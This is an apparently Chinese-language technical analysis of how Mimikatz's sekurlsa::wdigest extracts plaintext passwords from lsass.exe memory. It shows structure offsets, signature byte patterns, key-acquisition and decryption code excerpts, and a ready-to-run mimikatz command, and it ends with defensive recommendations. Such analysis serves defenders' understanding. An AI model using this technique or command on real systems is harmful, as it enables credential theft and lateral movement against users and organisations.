Mimikatz Explorer - Sekurlsa::WDigest
字数 821 2025-08-06 08:34:49
Mimikatz WDigest 凭据提取技术深入解析
1. WDigest 凭据缓存机制
在 Windows Server 2008 R2 之前,系统默认会缓存 WDigest 凭据。当启用 WDigest 时,用户进行交互式身份验证的域名、用户名和明文密码等信息会存储在 LSA 进程内存中。
关键点:
- 明文密码经过 WDigest 模块调用后,会使用对称加密算法进行加密
- 在 wdigest.dll 模块中存在全局变量
l_LogSessList,用于存储登录会话信息 - 该变量是一个链表结构,包含用户凭据信息
2. 关键数据结构
2.1 WDigest 链表结构
typedef struct _KIWI_WDIGEST_LIST_ENTRY {
struct _KIWI_WDIGEST_LIST_ENTRY *Flink;
struct _KIWI_WDIGEST_LIST_ENTRY *Blink;
ULONG UsageCount;
struct _KIWI_WDIGEST_LIST_ENTRY *This;
LUID LocallyUniqueIdentifier;
} KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY;
2.2 凭据信息结构
typedef struct _KIWI_GENERIC_PRIMARY_CREDENTIAL {
LSA_UNICODE_STRING UserName; // 偏移量:0x30 (48)
LSA_UNICODE_STRING Domaine; // 偏移量:0x40 (64)
LSA_UNICODE_STRING Password; // 偏移量:0x50 (80)
} KIWI_GENERIC_PRIMARY_CREDENTIAL, *PKIWI_GENERIC_PRIMARY_CREDENTIAL;
3. 提取流程详解
3.1 整体流程
- 获取 lsass.exe 进程信息
- 定位 wdigest.dll 模块基地址
- 查找
l_LogSessList变量 - 获取加密密钥和初始化向量
- 枚举登录会话并与 WDigest 凭据匹配
- 解密并输出凭据信息
3.2 关键步骤实现
3.2.1 获取 lsass.exe 进程信息
NTSTATUS kuhl_m_sekurlsa_acquireLSA() {
// 获取 lsass.exe 进程 PID
kull_m_process_getProcessIdForName(L"lsass.exe", &pid);
// 打开进程句柄
hData = OpenProcess(processRights, FALSE, pid);
// 获取 PEB 结构
kull_m_process_peb(memory, &Peb, FALSE);
// 获取模块信息
kull_m_process_getVeryBasicModuleInformations(cLsass.hLsassMem,
kuhl_m_sekurlsa_findlibs,
NULL);
}
3.2.2 定位 wdigest.dll 模块
BOOL CALLBACK kuhl_m_sekurlsa_findlibs(
PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation,
PVOID pvArg) {
// 比对模块名称
if (_wcsicmp(lsassPackages[i]->ModuleName,
pModuleInformation->NameDontUseOutsideCallback->Buffer) == 0) {
lsassPackages[i]->Module.isPresent = TRUE;
lsassPackages[i]->Module.Informations = *pModuleInformation;
}
}
3.2.3 查找 l_LogSessList 变量
使用特征码定位:
BYTE PTRN_WIN5_PasswdSet[] = {0x48, 0x3b, 0xda, 0x74};
BYTE PTRN_WIN6_PasswdSet[] = {0x48, 0x3b, 0xd9, 0x74};
KULL_M_PATCH_GENERIC WDigestReferences[] = {
{KULL_M_WIN_BUILD_XP, {sizeof(PTRN_WIN5_PasswdSet), PTRN_WIN5_PasswdSet},
{0, NULL}, {-4, 36}},
{KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_WIN5_PasswdSet), PTRN_WIN5_PasswdSet},
{0, NULL}, {-4, 48}},
{KULL_M_WIN_BUILD_VISTA, {sizeof(PTRN_WIN6_PasswdSet), PTRN_WIN6_PasswdSet},
{0, NULL}, {-4, 48}},
};
3.2.4 获取加密密钥和初始化向量
NTSTATUS kuhl_m_sekurlsa_nt6_acquireKeys(
PKUHL_M_SEKURLSA_CONTEXT cLsass,
PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION lsassLsaSrvModule) {
// 定位初始化向量
aLsassMemory.address = (PBYTE)sMemory.result + currentReference->Offsets.off0;
kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(LONG));
aLsassMemory.address = (PBYTE)aLsassMemory.address + sizeof(LONG) + offset64;
// 获取 3DES 和 AES 密钥
kuhl_m_sekurlsa_nt6_acquireKey(&aLsassMemory, &cLsass->osContext, &k3Des, 0);
kuhl_m_sekurlsa_nt6_acquireKey(&aLsassMemory, &cLsass->osContext, &kAes, 0);
}
3.2.5 解密凭据
VOID WINAPI kuhl_m_sekurlsa_nt6_LsaUnprotectMemory(IN PVOID Buffer, IN ULONG BufferSize) {
kuhl_m_sekurlsa_nt6_LsaEncryptMemory((PUCHAR)Buffer, BufferSize, FALSE);
}
NTSTATUS kuhl_m_sekurlsa_nt6_LsaEncryptMemory(
PUCHAR pMemory, ULONG cbMemory, BOOL Encrypt) {
// 使用 BCryptDecrypt 解密
status = BCryptDecrypt(*hKey, pMemory, cbMemory, 0,
LocalInitializationVector, cbIV,
pMemory, cbMemory, &cbResult, 0);
}
4. 实际使用命令
mimikatz.exe "privilege::debug" "sekurlsa::wdigest" exit
5. 防御建议
- 升级到 Windows Server 2008 R2 或更高版本
- 禁用 WDigest 认证协议
- 启用 Credential Guard
- 限制对 lsass.exe 进程的访问
- 监控对 lsass.exe 的异常访问行为
6. 技术总结
WDigest 凭据提取技术的关键在于:
- 定位 lsass.exe 进程中的 wdigest.dll 模块
- 找到存储凭据的全局链表结构 l_LogSessList
- 获取 LSA 内存保护机制使用的加密密钥
- 解密并输出凭据信息
理解这些底层机制有助于更好地防御此类攻击。